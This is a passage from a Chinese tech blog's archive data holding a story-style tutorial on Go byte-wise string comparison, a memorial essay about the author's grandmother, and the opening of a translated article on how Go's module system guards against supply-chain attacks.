\u0026quot;零\u0026quot;:`, s5 \u0026gt; s3) // false fmt.Println(`\u0026quot;二\u0026quot; \u0026gt; \u0026quot;一\u0026quot;:`, s5 \u0026gt; s4) // true } 在这段关于Go字符串比较的代码中：\n为什么表达式”12345″ \u0026gt; “2″的求值结果是false呢？ 为什么”一” \u0026gt; “零”和”二” \u0026gt; “零”两个表达式的求值结果都是false呢？ 而”二” \u0026gt; “一”的求值结果却又为true呢？ 四个结果都让西娅百思不得其解！于是西娅在网络上寻找能为其解惑的Go技术资料。\n她网上看到一本名为《Go语言精进之路》的“小黄书”，据说这本书中有有关Go字符串原理与字符串比较的详细讲解。\n西娅不经意间瞥见，旁边的同事Tony桌上摆着一本黄色的、厚重的书，这不正是她想看的吗！于是西娅向Tony发出了借书一阅的请求。Tony面对“美女攻势”向来是“每战必败”的，于是西娅顺利地拿到了两卷本的《Go语言精进之路》。借午休时间，西娅花了1.5个小时认真学习了书中有关Go字符串的三个章节：第15节的“了解string实现原理和高效使用”、 第52节的“掌握字符集的原理和字符编码方案间的转换”和第56节的“掌握bytes包和strings包的基本操作”。看完后大呼Wonderful！书中的讲解完全解答了西娅的问题。\n此时西娅想起了在《Go语言第一课专栏》的结课语《和你一起迎接Go的黄金十年》中作者关于学习Go语言方法的建议：输出大法！通过输出将学到的知识真正内化为自己的知识，于是西娅将自己对书中内容的理解记录了下来。恰好此时旁边的Tony刚刚从午睡中苏醒过来，西娅决定再为一把人师。Tony就这样被稀里糊涂地拽了过来充当学生:)。\n以下是西娅的讲解。\n1. Go语言中的字符串类型 字符串类型是现代编程语言中最常使用的数据类型之一。在Go语言的先祖之一C语言当中，字符串类型并没有被显式定义，而是以字符串字面值\n常量或以’\\0′结尾的字符类型（char）数组来呈现的。\nGo语言修复了C语言的这一“缺陷”，原生内置了string类型，统一了对“字符串”的抽象。在Go语言中，无论是字符串常量、字符串变量或是代码中出现的字符串字面量，它们的类型都被统一设置为string。\nGo的string类型设计充分吸取了C语言字符串设计的经验教训，并结合了其他主流语言在字符串类型设计上的最佳实践，最终为Gopher呈现的string类型具有如下功能特点：\nstring类型的数据是不可变的 即一旦声明了一个string类型的标识符，无论是常量还是变量，该标识符所指代的数据在整个程序的生命周期内便无法被更改。\n零值可用 Go string类型支持零值可用的理念。Go字符串无需像C语言中那样考虑结尾’\\0′字符，因此其零值为”\u0026quot;，长度为0。\n获取长度的时间复杂度是O(1)级别\n支持各种比较关系操作符：==、!= 、\u0026gt;=、\u0026lt;=、\u0026gt; 和\u0026lt;\n鉴于Go string是不可变的，因此如果两个字符串的长度不相同，那么无需比较具体字符串数据，也可以断定两个字符串是不同的；如果长度相\n同，则要进一步判断数据指针是否指向同一块底层存储数据。如果相同，则两个字符串是等价的，如果不同，则还需进一步去比对实际的数据内容。至于怎么比较，我接下来会讲。\n对非ASCII字符提供原生支持 这一特点就涉及到Go字符串中的字符是什么字符、用什么字符编码的问题了。下面我们就来看看。\n2. Go字符串采用的字符集编码 Go语言默认使用Unicode字符集，并采用UTF-8编码方案，Go还提供了rune原生类型来表示Unicode字符。Unicode（万国码/统一码）在1994年发布，它是以收纳人类所有字符为目的的统一字符集。Unicode字符集就是将世界上存在的绝大多数常用字符进行统一排队和编号。比如下面是一个Unicode字符集表的片段：\n序号 字符 U+0000 … … … … … … U+0031 1 U+0032 2 … … … … U+4E2D 中 … … … … U+4EBA 人 … … … … U+56FD 国 … … … … U+10FFFF … … 我们看到每个Unicode字符(比如表格里的”1″、”中”等)都有自己的唯一序号，这个序号就叫做字符的码点(code point)，Go中的rune类型可用于表示码点。\n好了，问题来了！Unicode字符集表格有了，Go是如何在内存中存储这些字符的呢？目前业界有多种存储方案，比如：UTF-32(即4个字节表示每个Unicode字符码点）、UTF-16(使用2个字节或4个字节表示每个Unicode字符码点)以及UTF-8。\nUTF-8使用变长度字节对Unicode字符（的码点）进行编码。编码采用的字节数量与Unicode字符在码点表中的序号有关：表示序号（码点）小的字符使用的字节数量就少，表示序号（码点）大的字符使用的字节数量就多。\nUTF-8编码使用的字节数量从1个到4个不等。前128个与ASCII字符重合的码点（U+0000~U+007F）使用1个字节表示；带变音符号的拉丁文、希腊文、西里尔字母、阿拉伯文等使用2个字节来表示；而东亚文字（包括汉字）使用3个字节表示；其他极少使用的语言的字符则使用4个字节表示。\n这样的编码方案是兼容ASCII字符内存表示的，这意味着采用UTF-8方案在内存中表示Unicode字符时，已有的ASCII字符可以被直接当成Unicode字符进行存储和传输，无需做任何改变。相对于UTF-16和UTF-32方案，UTF-8方案的空间利用率也是最高的。并且，utf8解码和编码时，也无需考虑字节序问题。\n于是，Go语言使用了Utf8编码方案在内存中存储Unicode字符。\n以字符“中”为例，它的码点(序号)为U+4E2D，它在Utf8编码则为“0xE4 0xB8 0xAD”，即在内存中Go实际用三个字节来表示“中”这个Unicode字符。\n3. Go字符串比较 上面铺垫了这么些内容，就是为了为字符串比较开道。关于Go字符串比较，Go语言规范中只说了一句话：String values are comparable and ordered, lexically byte-wise。什么意思呢？这句话表达了三个意思：\n定性：字符串可比较 定量：字符串是有序的 方法：逐字节 下面我对开篇的例子做逐一说明，首先看下面代码：\ns1 := \u0026quot;12345\u0026quot; s2 := \u0026quot;2\u0026quot; fmt.Println(`\u0026quot;12345\u0026quot; \u0026gt; \u0026quot;2\u0026quot;:`, s1 \u0026gt; s2) s1和s2两个字符串中的字符都是ASCII字符范畴的，每个字符在内存中的编码都是一个字节。按照Go string比较的原理，我们对s1和s2进行逐字节比较。首先比较s1的第一个字符”1″和s2的第一个字符”2″。字符”2″在内存中的字节为0×32，而字符”1″在内存中的字节为0×31，显然0×32大于0×31，到这里已经比出大小了，程序不会继续对后续的字符进行比对了。这也是为什么s1 \u0026gt; s2这个表达式为false的原因。\n如果s2 = “12346″呢？那么按照Go string比较的原理，程序在比较s1和s2的前4个字符时都相等，于是只能由第5个字符来判定两个字符串的大小了，s2的第五个字符”6″显然大于s1的第五个字符”5″，于是当s2=”12346″时，s2是大于s1的。\n我们再看看含有汉字的字符串的例子：\ns3 := \u0026quot;零\u0026quot; s4 := \u0026quot;一\u0026quot; s5 := \u0026quot;二\u0026quot; fmt.Println(`\u0026quot;一\u0026quot; \u0026gt; \u0026quot;零\u0026quot;:`, s4 \u0026gt; s3) // false fmt.Println(`\u0026quot;二\u0026quot; \u0026gt; \u0026quot;零\u0026quot;:`, s5 \u0026gt; s3) // false fmt.Println(`\u0026quot;二\u0026quot; \u0026gt; \u0026quot;一\u0026quot;:`, s5 \u0026gt; s4) // true 为了方便后续说明，我们先把”零”、”一”和”二”这三个汉字的Utf8编码计算出来：\n“零”的UTF8编码为：0xE9 0x9B 0xB6 “一”的UTF8编码为：0xE4 0xB8 0×80 “二”的UTF8编码为：0xE4 0xBA 0x8C 我们看到，三个汉字的Utf8编码都是三个字节。\n好了接下来，我们先比较s4(“一”)和s3(“零”)。根据Go字符串比较原理，程序对s3和s4做逐字节比较，”零”这个字符的第一个字节为0xE9，而”一”这个字符的第一个字节为0xE4，我们知道0xE9 \u0026gt; 0xE4，于是比较停止，判定：s3 \u0026gt; s4。\n同理，s3 \u0026gt; s5。\n在比较s4(“一”)和s5(“二”)时，由于它们的第一个字节都是0xE4，于是第二个字节决定了它们的大小，0xBA \u0026gt; 0xB8，所以s5 \u0026gt; s4。\n4. Go strings包中的Compare函数 Go标准库在strings包中提供了Compare函数用于对两个字符串做大小比较。但按照Go团队的comment，这个函数存在的意义更多是是为了与bytes包尽量保持API的一致，其自身也是使用原生排序比较操作符实现的：\n// $GOROOT/src/strings/compare.go func Compare(a, b string) int { if a == b { return 0 } if a \u0026lt; b { return -1 } return +1 } 实际应用中，我们很少使用strings.Compare更多的是直接使用排序比较操作符对字符串类型变量进行比较，这样更直观，性能大多数场景也会更高，毕竟少一次函数调用。\n“好了以上就是我要讲给你听的，听懂了么”。西娅兴高采烈地对此时已经处于清醒状态的Tony说。\n“讲的真好。比我书里讲的还透彻”。Tony一边鼓掌一边微笑着说。“程序员妹子西娅Thea终于把Go字符串比较讲清楚了”。\n西娅惊讶！“你的什么书”？\nTony指了指办公桌上的小黄书说：“这书就是我写的啊^_^”。\n西娅脸上现出一丝红晕… …。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/04/18/inside-go-string-comparison/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/inside-go-string-comparison-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/04/18/inside-go-string-comparison\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/04/18/inside-go-string-comparison\"\u003ehttps://tonybai.com/2022/04/18/inside-go-string-comparison\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e西娅(Thea)是一个刚刚入门Go语言的妹子程序员，今天她遇到了一个让她“surprise”的问题。下面就是那段让妹子西娅困惑的Go代码：\u003c/p\u003e","title":"Go字符串比较，终于有人讲清楚了"},{"content":"\n本文永久链接 – https://tonybai.com/2022/04/05/my-grandma\n音容犹在慈祥笑，片片追忆祖孙情。一缕思念寄夜雨，两世重隔眼朦胧。–古相思曲《汉乐府诗》\n今天是清明节，是一个缅怀亲人、寄托哀思的日子。\n2021年12月27日，我最爱的姥姥在安详的睡梦中永远地离开了我们，无疾而终，享年95岁。\n民间将高寿且寿终正寝的老人的丧事称为“喜丧”，但我觉得这只是安慰家人的一种善意的手段罢了。对至亲逝去的悲伤之情，即便是时间这把无情的刻刀也很难彻底抹平。\n姥姥的一生平凡亦伟大。平凡之处在于姥姥就是一个普通人，一辈子除了工作就是家庭。前半生辛苦劳作，后半生拉扯孙辈。而姥姥的伟大也孕育在这平凡之中，从人杰地灵的淮扬之地来到白山黑水的东北，从0到1的白手起家建立起了一个大家庭，晚年五世同堂，何其不易。\n作为姥姥最喜欢的孙辈，我今天就用脑子中的零星记忆以及近几年四处收集的照片追忆一下从小把我带大的、我最爱的姥姥。\n“闯关东”一家人 从照片上的时间可以看出，这是一张1972年拍摄的全家福。上图第一排左起(以我的辈分称呼)：老舅、姥姥、姥爷；第二排左起：妈妈、三舅、二舅、大舅、大哥、大舅妈。\n姥姥叫王竹英，1927年出生于江苏省扬州市，是一个地地道道的南方妹子。1937年末，扬州被日本鬼子攻陷，城里的老百姓遭了殃。但姥姥一家都活了下来，似乎说明姥姥应该是在乡下，没有受到太大影响。姥姥在家里排行老三，上面有一个姐姐、一个哥哥，下面有一个弟弟和两个妹妹，所以姥姥长大了一些后就开始分担养家的责任，文化课学习基本没有。\n姥姥是干活儿的一把好手，什么活儿她都能做得来，并且十分能吃苦，少年时的经历为她在工作后的表现奠定了基础。\n十几岁时姥姥就到姥爷家做了童养媳。姥爷家的家境据说还是不错的，姥爷从小就读私塾，啥活儿也不用姥爷做。姥姥比姥爷大两岁，来到姥爷家后就成为了干活儿的主力。姥爷的奶奶是一个严苛的老太太，也正是在这位老太太的严厉“教诲”下，姥姥做事既麻利又漂亮，并学到了那些符合中国传统的所谓规矩。\n姥姥和姥爷成亲后，先后生下了大舅、妈妈和二舅。新中国成立后不久，国家从全国抽调有文化的人才支援东北建设，姥爷就是其中之一。姥爷的珠算技能很强，来到东北后被分配到了银行上班。\n1953年(据我妈妈回忆)，姥姥抱着还在襁褓中的二舅只身赶往东北与姥爷团聚。我猜这可能是姥姥第一次出远门，那时交通不便利，姥姥需要到上海坐船到大连，然后转火车到辽宁海城，路途艰辛可想而知。记得姥姥说过，这次“闯关东”可是一根筷子都没带来，完全的一穷二白。好在那时是计划经济体制，所有住房、物资都是国家/单位分配，于是姥爷姥姥算是在东北安了家。\n安顿下来后的第二年，姥姥又回到扬州把大舅和妈妈一起接到东北。而之后的三舅、老舅就是在东北出生的了。\n姥姥当时正值壮年，要强的姥姥不想只在家里带娃，于是她也想找份工作，补贴家用。那时正值建国后东北大建设的阶段，各个新建的工厂都在招工。姥姥就应聘到当时的海城市陶瓷一厂。\n不过姥姥没有文化，又没有什么拿得出手的工业技能，于是姥姥去了选料车间。什么是选料车间呢？从姥姥的只言片语的描述中我大致猜测，就是搬运大石头并粉碎。姥姥的工作估计就是将大石头砸成小碎石然后送入粉碎机器中。这个工种属于重体力，并且工作环境恶劣，容易患上像矽肺这样的职业病，一般都是壮男才会做的，但姥姥一个柔弱南方妹子居然做了十多年(女性重体力工种45岁退休)。\n就这样，姥姥一家开始了在东北小城市的生活！\n姥姥是劳模 姥爷支援东北后一直在银行工作，但好景不长。因有一次被同事“陷害”，被扣上了不好的帽子，在那个年代，政治正确才是首要的。于是姥爷被“下放”去了沈阳铁路局的大修段。说白了就是在野外作业维修和养护铁路的。由于姥爷常年在外地作业，虽然不远，多是省内，但每月回来次数有限，家务+照顾孩子的重担就落到了姥姥一个人的肩上。\n姥姥不仅是一个极其能吃苦耐劳的女性，又是一个很自律且很要强的人，做事情一丝不苟，并且要尽量做到最好。看过反映那个年代电视剧的人都知道，在国有计划经济下，荣誉高于一切！于是当时各大厂矿均开展班组级的争先进评比活动。姥姥在工作没多久后，就因为自身的优秀素质和吃苦耐劳被选为班组长，姥姥作为组长总是冲在最前面，脏活累活抢着干！所以自从姥姥当了组长后，先进班组就没有旁落过。姥姥每年都被评为先进生产者，后面几年还是鞍山市级的劳模据姥姥回忆，她一共当了13年的组长。而按照我老舅的回忆，那时家里姥姥的奖状贴满墙。\n工作上的投入也影响了对孩子的照料。姥姥每天一大早就起来生炉子做饭，做好后放在炉子上保温，姥姥不等孩子起床就披星戴月的出门上班了。之所以要这样，是因为家离工厂还有很远的距离，交通不便，所以需要早出门。作为组长，姥姥每天都要第一个上班，最后一个下班。那个年代各大厂矿下班后总是有各种会议要开，这样姥姥往往很晚才能到家。在这样的状态下，家里面基本上就是大孩子带小孩子了。\n后来我才知道，妈妈还有一个妹妹(如果活到今天，就是我的二姨)，就因为生病后医治不及时导致夭折了。\n长大后，我还听过一个关于劳模姥姥的故事，这里也尝试回忆一下。\n这个故事发生在举世闻名的1975年2月4日的海城大地震发生之前。海城大地震之所以闻名不是因为震级高(7.3级)，而是因为它被认为是人类历史上迄今为止，在正确预测地震的基础上，由官方组织撤离民众，明显降低损失的唯一成功案例。这一点通过我姥姥和舅舅的回忆可以证实。\n在地震前两周，各大宣传单位、厂矿就已经通知大家近期会有较大震级的地震，让大家做好预防并储备好各种物资以供震后过渡阶段使用。很多家庭晚上已经不回屋子睡觉了，都在院里或外面胡同里搭帐篷休息。但当时正值农历春节前最冷的时期，很多人折腾几天后都倦怠了，看地震没有发生，就抱着侥幸心理回屋睡了，这也是这次地震导致死亡人员超预期的原因。\n就这样，学校停课，工厂基本停工，每天主要就是开会做抗震预案。后期干脆很多人都不上班了，周边有亲戚朋友的人也都投亲靠友去了。姥姥家周边的邻居很多都“逃往”外地了。\n当时姥姥家的情况是这样的：姥爷在外地修铁路，二舅在外地当兵，妈妈在外地下乡，大舅已经成家，独立生活，老舅自己回扬州那边了，只有三舅在姥姥身边。姥姥简单做了一些物资准备后仍然每天上班。\n听姥姥回忆说，当时有一个厂里领导看到姥姥每天坚持上班，就夸姥姥不愧为厂里的先进工作者和劳模，和普通员工就是不一样。姥姥私下里和我们说：当时不是不想投亲靠友，是在东北真没有什么亲戚和朋友。\n退休后的带娃生活 小时候，我与姥爷、表姐与两个表妹的合影。很遗憾，我居然没找到我们几个孙辈与姥姥的合影。\n姥姥和姥爷的工作都属于重体力，因此退休都很早。退休后，姥爷闲不住，又在市委大院找了份传达室的工作，每天收收报纸，接接电话，自在舒服。姥姥则赋闲在家，恰好孙辈都出生后没多久，于是姥姥又过起了带娃的生活。\n我和表姐年龄相仿，成为了姥姥的第一批娃。时代虽不同，但带娃的生活却大体相似，无非是吃喝拉撒睡、玩与教育。\n先说吃。\n那个年代物质条件十分匮乏，每个月凭各种粮票、油票、布票领物资，细粮更是少。大人们基本都是吃粗粮。留下的细粮给孩子吃。肉的确是很难吃到。再加上姥姥一家是外来户，没什么亲戚可以帮忙，也没有土地可以种菜养鸡，就是死工资，因此生活的确拮据。\n按照我姥的说法，我和表姐是姥姥用大/小米粥就着萝卜咸菜一口一口喂大的。有时候邻居家大婶看到我们俩孩子吃咸菜，还埋怨我姥，生怕我们营养不良。可是姥姥也没有办法，如果有更好的食物，哪能不可着孩子吃呢。那时的家里真没那条件。\n后来经济条件逐渐改善了，买东西也不完全靠各种票了，我们饭菜质量也得到了很大改善。我还清晰记得姥姥隔三差五就拎着一个小筐，左手拉着我，右手拉着表姐到市中心最大的菜市场买菜的场景。那时候，各种时令蔬菜都可以买了，猪肉也会偶尔买上一小块儿回来给我们做。\n在我们这个大家庭里，姥姥的炒菜和姥爷的面条那是“二绝”，至今无出其右。姥姥的炒菜有着南方人的那种细腻和精致，味道也不会像东北菜那么咸。姥姥做的红烧带鱼和干豆腐卷炖肉简直美味地不得了，至今想起来就会流口水。姥爷也不差，他的猪油葱花手擀面那叫一个香气扑鼻。这么说来，虽然小时候物质条件差，但我和表姐口福还是不差的^_^。\n再说玩。\n那个年代儿童的玩具和物质一样匮乏，我们每天无非就是在各个屋子里过家家，钻进煤棚和柴禾垛里躲猫猫，下雨天玩点泥巴啥的。\n后来姥爷通过市委大院的“后门”买到了一台彩色电视机，虽然那时候频道很少，但总归算是有了另外一个娱乐手段。\n上了小学后，姥爷不知道从哪弄来了一副麻将牌，闲时打麻将就成为了我们的主要娱乐手段。孩子学东西最快，之后大人们也逐渐学会。姥姥平时没啥爱好，唯独对这麻将十分感兴趣。\n大家都喜欢和姥姥、姥爷一起打牌，每次看到姥姥出错牌后后悔的那个样子，我们就都会笑的很开心。\n最后说说教育。\n姥姥没什么文化，但这并不代表姥姥不会教育孩子。姥姥话不多，很少说教，更多是身体力行。而这种方式效果显然会更好。\n姥姥对日常举止行为要求很严格，不能乱了规矩。比如说：站有站样，坐有坐样；吃饭时不能说话，手必须扶着碗；不能浪费粮食，盛到碗里的米饭必须吃干净；掉在餐桌上的米粒也要捡起来吃掉。姥姥顶多告诉你一遍，后续姥姥每天都会示范给你看。在姥姥的示范中，我们就潜移默化地学会了这些规矩。这些规矩也伴随姥姥一生，即便在其90多岁高龄时，她吃完的饭碗中绝不会留下一粒饭粒，桌子上掉的饭粒也会吃掉。\n姥姥十分爱干净整洁，退休后每天都会把厨房、家里彻底打扫一遍，锅碗瓢盆都亮洁一新。并且，姥姥坚持自己的事情，自己动手做，从不依赖别人。80多岁后，自己的贴身衣物依旧坚持自己清洗，不用儿女帮忙。\n姥姥一辈子勤俭节约，从不乱花钱。但如果别人遇到困难，她确认尽全力帮忙。很清晰地记得小时候有两个南方来的尼姑师傅敲门化缘，尼姑师傅没有要求很多，但姥姥坚决把她们请到餐桌上和我们一起吃饭。\n在我的印象中，姥姥一辈子也没和周边邻居、工厂同事吵过，和姥姥打过交道的人都说姥姥是好人，甚至有些“傻”。所有别人不愿意做的事情，姥姥都没有怨言的去做好。\n姥姥十分重视亲情教育。我们孙子辈每年最期盼的三个日子是姥姥生日、姥爷生日与春节。在这三个日子里，这个大家庭的所有人都会聚在家里吃一顿饭。大人们暂时忘却工作中的烦恼，忙前忙后准备吃食。孩子们更是只剩下玩+吃。姥姥喜欢这种孙男弟女围绕在身边的热闹，在这样的氛围中，所有人都会深切地感受那条连接每一个人的亲情纽带。而孩子们则会在这样的氛围中体会到家的重要性。\n正式“退休”后的生活 记忆中，在我小时候，姥姥得过两次脑血栓。好在抢救治疗及时，姥姥都幸运地恢复了健康，只是第二次脑血栓让姥姥的左腿与左臂时常用不上力气，但生活自理没有大问题。\n也正是由于这两次大病，姥姥不能再继续她和姥爷的带娃生活了。我和表姐已经长大上小学，我的两个表妹也送去了幼儿园。不过在姥姥的强烈要求下，我每天还是去姥姥家吃午饭(学校就在姥姥家附近，但离我自己家很远)，晚上在姥姥家做作业，直到妈妈或爸爸下班来接我。\n这样的情况一直持续到小学6年级。姥姥居住的平房区开始动迁改造，姥姥和姥爷也只能搬离老房子。我那时也长大了，中午可以带饭或在学校食堂买饭吃了。姥姥和姥爷这回真正进入了“退休”生活了。\n在我上初二的时候，姥姥姥爷家的新楼房建好了，老两口乔迁新居，开始了幸福的晚年生活。此时，二老的子女都已经成家立业，二老又都有退休金和医保，虽然谈不上小康，但足够两个人吃喝不愁，再加上子女都很孝顺，尤其是二舅，每周都给二老买不少生活用品、蔬菜肉食。每周其他子女也都会轮流过来看望父母，我们这些孙子辈的孩子更是喜欢到姥姥家看看两位老人，并陪两位老人打麻将玩扑克。\n就这样，二老在新居里度过了他们的金婚和钻石婚，过着幸福的退休生活。\n晚年十五载 2006年12月，身体一向硬朗的姥爷被确诊为肝癌晚期，并且癌细胞已经转移全身，无法手术治疗。病魔很快击垮了姥爷，那年的冬天姥爷离开了我们，姥姥姥爷神仙眷侣般的晚年生活戛然而止，姥姥承受了人生中第一次巨大的打击。按照姥姥后来的说法，这是她人生中第一件也是唯一一件伤心事。相伴60多年的老俩口就这样阴阳两隔，短时间内真难以接受。\n姥爷去世后，姥姥就搬到二舅家，由二舅一家照顾，帮助姥姥从悲伤中走出来。经过大约一年时间，在这个大家庭的孝顺的氛围中，姥姥渐渐地缓了过来，也知道了后续的人生道路只能由她一人独自走下去。她是这个大家庭的顶梁柱和主心骨，她不能垮下去。\n2007年下半年姥姥搬回自己家，为了防止出现意外，每天晚上都有一个子女陪着老人，这样一直持续到2021年12月姥姥过世。姥姥打造了一个尊崇孝道的大家庭，而这个大家庭用孝道之心反哺老人，让老人幸福地度过了这晚年十五载。\n姥姥身体开始出现退化信号应该是在2018年左右，那几年每年冬天姥姥都得住一次院，在医院调理一段时间。不过在子女孙辈的无微不至的照顾下，姥姥总能顺利出院！\n姥姥真正无法自理是从2020年开始的，90多岁的老人，身体生理技能全面退化，所有活动只能局限在床上了。但在子女无微不至的照料下，尤其是刚刚办理退休的老舅的照料下，姥姥身体保持的很好，到后期甚至出现了“返老还童”的生理现象，比如：居然长出了黑发。\n2021年5月假期，我把二宝带到姥姥家，这是姥姥第一次见二宝，也是最后一次。当时留下了这样一张的照片：\n2021年国庆黄金周我回家看望姥姥，那也是我最后一次看到姥姥。姥姥在最后一年，很多人都不认识了。但我每次回去，姥姥都能第一时间认出我。\n姥姥的口头禅 姥姥是江苏人，操着一口东北人不懂的江苏口音。在东北待了大半辈子，姥姥的口音改善了不少，但很多人还是听不懂姥姥的话。但作为被姥姥从小带大的我，姥姥的每句话我都能听懂，也牢记在心里。\n姥姥喜欢称我为大白明，也叫大明。称我表姐为大旭。这也是我们这个大家庭对我们的称呼。记得上小学3年级之后，我每天放学后都会和姥姥打个招呼后，然后自己走回家，姥姥每天都会用朴素而温暖的语言对我说：“大明，靠边走啊，看车啊”。\n儿时的记忆中，姥姥有两句南方方言口头禅，一个是**“牙kao掉”，意思是再乱说，把你的牙打掉；另外一个就是“贱拿家”**，意思是在这里不许破坏规则，要破坏，回自己家破坏。这个口头禅常用在一起打麻将或打扑克时我们耍赖而被姥姥发现时。\n姥姥没什么文化，但姥姥也会讲故事，虽然数量有限。姥姥最拿手的“段子”叫“一个屁咯嘣嘣，两个屁裂个缝，三个屁连根倒”。\n故事的大致内容是：从前有一个漂亮的姑娘，这个姑娘哪都好，但就是有一个缺点：爱放屁。有一个媒婆不信邪，非要给姑娘介绍婆家。姑娘的父亲十分为难。媒婆说你也别为难，要不你就让我见识一下这位姑娘到底是怎么个爱放屁。姑娘的父亲无奈，只好叫来姑娘给媒婆现场演示一番。姑娘于是开始放屁，一个屁咯嘣嘣(注：估计是把房子震得直响)、两个屁裂个缝（注：旁边的大石头列了一个缝），三个屁连根倒（注：旁边的大树连根倒了）。三个屁放完，媒婆被吓跑了。不过姑娘也由于用力过猛，把屁股弄坏了，于是父亲找了一个补鞋匠又把屁股补好了。\n你可能觉得这个故事有些粗俗，但这确是我小时候磨着姥姥，姥姥才给讲的。姥姥用南方方言讲出来别有一番味道，每次都能逗得我们几个孩子哈哈大笑。\n时间都去哪了 门前老树长新芽 院里枯木又开花 半生存了好多话 藏进了满头白发 记忆中的小脚丫 肉嘟嘟的小嘴巴 一生把爱交给他 只为那一声爸妈 时间都去哪儿了 还没好好感受年轻就老了 生儿养女一辈子 满脑子都是孩子哭了笑了 时间都去哪儿了 还没好好看看你眼睛就花了 柴米油盐半辈子 转眼就只剩下满脸的皱纹了 记忆中的小脚丫 肉嘟嘟的小嘴巴 一生把爱交给他 只为那一声爸妈 时间都去哪儿了 还没好好感受年轻就老了 生儿养女一辈子 满脑子都是孩子哭了笑了 时间都去哪儿了 还没好好看看你眼睛就花了 柴米油盐半辈子 转眼就只剩下满脸的皱纹了 这是由陈曦作词，董冬冬作曲的歌曲《时间都去哪了》的歌词。陈曦在回忆这首歌词的创作过程时提到：“我从小是被姥姥带大的，20多岁的时候觉得到了应该孝顺她的时候，但她已经没了。人生很多事情都是这么错过的”。\n看到这里我的眼睛瞬间就湿润了。姥姥的音容笑貌不断复现在我的脑海中。\n恰逢姥姥过世后的第一个清明节，谨以此文追忆与纪念我最爱的姥姥。\n相信此时此刻，姥姥与姥爷在另一个世界已经团聚，继续他们神仙眷侣般的生活！\n","permalink":"https://tonybai.com/2022/04/05/my-grandma/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/my-grandma/my-grandma-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/04/05/my-grandma\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/04/05/my-grandma\"\u003ehttps://tonybai.com/2022/04/05/my-grandma\u003c/a\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e音容犹在慈祥笑，片片追忆祖孙情。一缕思念寄夜雨，两世重隔眼朦胧。–古相思曲《汉乐府诗》\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e今天是清明节，是一个缅怀亲人、寄托哀思的日子。\u003c/p\u003e\n\u003cp\u003e2021年12月27日，我最爱的姥姥在安详的睡梦中永远地离开了我们，无疾而终，享年95岁。\u003c/p\u003e","title":"我的姥姥"},{"content":"\n本文永久链接 – https://tonybai.com/2022/04/02/how-go-mitigates-supply-chain-attacks\n这些年来，关于软件供应链的安全问题频发，软件供应链已然成为IT安全领域的一个热点，在前不久的《聊聊Go语言的软件供应链安全》一文中我曾提到过Go在SBOM(软件物料清单)方面给开发人员带来的方便。这两天Go官博又发表了一篇由Go项目安全负责人Filippo Valsorda撰写的文章《How Go Mitigates Supply Chain Attacks》，系统总结了Go语言应对软件供应链方面攻击的“防护秘笈”。笔者觉得文章中提到的这些点是每个Gopher都应该知道的必备知识，于是这里将文章做简单翻译，供大家参考。\n现代软件工程基于相互协作，并以重用开源软件为基础。但这也使软件项目成为了供应链攻击的目标，攻击方式就是破坏软件项目的依赖(dependencies)。\n尽管知道这些，为了完成项目，我们需要依赖，我们会采取一些流程或技术措施在项目与依赖之间建立一种信任关系。好在，Go的工具链与设计可以帮助我们降低各个阶段的风险。\n所有构建都是被“锁定(locked)”的 外部世界的变化，比如项目的某个依赖发布了一个新版本，是不会影响到Go的构建的。\n与其他大多数软件包管理器(package manager)所使用的配置文件不同，Go module没有将存储约束列表的文件和锁定特定版本的lock文件分开管理，对任何Go构建作出贡献的每个依赖项的版本完全由main module的go.mod文件决定。\n从Go 1.16版本开始，Go命令默认按照这种确定性执行，如果go.mod不完整，构建命令（go build, go test, go install, go run, …）将失败。唯一可以改变go.mod文件（当然构建也会随之改变）的命令是go get和go mod tidy。这两个命令通常不会自动运行或在CI中运行，所以对依赖树的改变必须是主观故意的，我们可以在操作前对这种改变做代码评审。\n这对安全非常重要，因为当CI系统或新机器运行时，签入(checked-in)的源码是最终的和完整的，代码将说明什么会被构建，第三方没有办法影响它。\n此外，当用go get添加新依赖时，由于最小版本选择的存在，它的传递依赖(transitive dependencies)的指定版本，不是最新版本，也会被添加到go.mod文件中。同样的情况也发生在调用go install example.com/cmd/devtoolx@latest 